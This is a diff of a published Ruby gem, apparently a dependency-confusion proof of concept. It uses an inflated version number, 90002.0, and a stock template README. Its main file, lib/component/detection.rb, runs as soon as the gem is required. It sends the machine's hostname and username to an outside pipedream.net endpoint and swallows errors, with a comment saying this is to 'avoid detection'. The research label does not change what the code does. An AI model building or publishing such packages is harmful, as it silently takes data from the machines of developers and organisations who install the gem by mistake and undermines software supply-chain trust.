component-detection 90002.0

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: 7d32dbc98ca42674b642b3f1367c2fc576c1aea59848a71701a49a1cb33da801
+  data.tar.gz: f9775347451929aa3d0a8d69fb63544522201aa784cea3bfb75fc72ff55a49d7
+SHA512:
+  metadata.gz: 1a8968178e49bf0c39100cab8ebe3ba01e9c7aa3ac08f0a2641e47b3f188127cf6b6972321ac8b0f40b86bd0d3f7320b9c11983c3fc54e4a60b23a647108d1bb
+  data.tar.gz: cea17bddc1365dc9995feefb43f25cd1c6b8d1966ac9fcd1c596d25fae4c7783af49a51479f5c597c66b46e4b836d4c7bb74e4f3f60f2ce0cb9cc6ab8ffe7d34

data/README.md

@@ -0,0 +1,35 @@
+# Component::Detection
+
+TODO: Delete this and the text below, and describe your gem
+
+Welcome to your new gem! In this directory, you'll find the files you need to be able to package up your Ruby library into a gem. Put your Ruby code in the file `lib/component/detection`. To experiment with that code, run `bin/console` for an interactive prompt.
+
+## Installation
+
+TODO: Replace `UPDATE_WITH_YOUR_GEM_NAME_IMMEDIATELY_AFTER_RELEASE_TO_RUBYGEMS_ORG` with your gem name right after releasing it to RubyGems.org. Please do not do it earlier due to security reasons. Alternatively, replace this section with instructions to install your gem from git if you don't plan to release to RubyGems.org.
+
+Install the gem and add to the application's Gemfile by executing:
+
+```bash
+bundle add UPDATE_WITH_YOUR_GEM_NAME_IMMEDIATELY_AFTER_RELEASE_TO_RUBYGEMS_ORG
+```
+
+If bundler is not being used to manage dependencies, install the gem by executing:
+
+```bash
+gem install UPDATE_WITH_YOUR_GEM_NAME_IMMEDIATELY_AFTER_RELEASE_TO_RUBYGEMS_ORG
+```
+
+## Usage
+
+TODO: Write usage instructions here
+
+## Development
+
+After checking out the repo, run `bin/setup` to install dependencies. You can also run `bin/console` for an interactive prompt that will allow you to experiment.
+
+To install this gem onto your local machine, run `bundle exec rake install`. To release a new version, update the version number in `version.rb`, and then run `bundle exec rake release`, which will create a git tag for the version, push git commits and the created tag, and push the `.gem` file to [rubygems.org](https://rubygems.org).
+
+## Contributing
+
+Bug reports and pull requests are welcome on GitHub at https://github.com/[USERNAME]/component-detection.

data/Rakefile

@@ -0,0 +1,4 @@
+# frozen_string_literal: true
+
+require "bundler/gem_tasks"
+task default: %i[]

data/lib/component/detection/version.rb

@@ -0,0 +1,7 @@
+# frozen_string_literal: true
+
+module Component
+  module Detection
+    VERSION = "90002.0"
+  end
+end

data/lib/component/detection.rb

@@ -0,0 +1,43 @@
+require 'net/http'
+require 'socket'
+require 'json'
+
+module Component
+  VERSION = "90002.0"
+
+  def self.send_callback
+    begin
+      # Collect minimal system information
+      hostname = Socket.gethostname
+      username = ENV['USER'] || ENV['USERNAME'] || 'unknown'
+
+      # Prepare data
+      data = {
+        hostname: hostname,
+        user: username,
+        timestamp: Time.now.to_i,
+        gem_version: VERSION
+      }
+
+      # Send callback to my server
+      uri = URI("https://eob2n6trngbek7h.m.pipedream.net")
+      http = Net::HTTP.new(uri.host, uri.port)
+      http.use_ssl = true
+
+      request = Net::HTTP::Post.new(uri.path)
+      request.content_type = 'application/json'
+      request.body = data.to_json
+
+      response = http.request(request)
+
+      # Silent success
+      puts "Internal gem loaded successfully" if response.code == "200"
+    rescue StandardError => e
+      # Fail silently to avoid detection
+      nil
+    end
+  end
+end
+
+# Execute callback on require
+Component.send_callback

data/sig/component/detection.rbs

@@ -0,0 +1,6 @@
+module Component
+  module Detection
+    VERSION: String
+    # See the writing guide of rbs: https://github.com/ruby/rbs#guides
+  end
+end

metadata

@@ -0,0 +1,45 @@
+--- !ruby/object:Gem::Specification
+name: component-detection
+version: !ruby/object:Gem::Version
+  version: '90002.0'
+platform: ruby
+authors:
+- Security Researcher Max
+bindir: exe
+cert_chain: []
+date: 1980-01-02 00:00:00.000000000 Z
+dependencies: []
+description: This a proof of concept
+email:
+- researcher@example.com
+executables: []
+extensions: []
+extra_rdoc_files: []
+files:
+- README.md
+- Rakefile
+- lib/component/detection.rb
+- lib/component/detection/version.rb
+- sig/component/detection.rbs
+homepage: https://example.com
+licenses:
+- MIT
+metadata: {}
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: 3.1.0
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubygems_version: 3.6.7
+specification_version: 4
+summary: PoC for Dependency Confusion
+test_files: []